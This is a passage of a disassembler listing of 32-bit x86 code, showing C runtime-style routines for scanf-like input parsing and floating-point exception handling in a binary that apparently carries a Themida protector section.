		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,char,int,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_60		= dword	ptr -60h
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 00421090 SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]
sub_421014	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_42106B(int)

sub_42106B	proc near		; DATA XREF: Themida_:005602CAo

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		fld	qword ptr [ebp+18h]
		push	ecx
		push	ecx		; double
		fstp	[esp+8+var_8]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+10h+var_10]
		fld	qword ptr [ebp+10h]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+18h+var_18]
		push	dword ptr [ebp+0Ch] ; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
sub_42106B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421014


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+60h+var_60], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_421014

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 267039Dh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


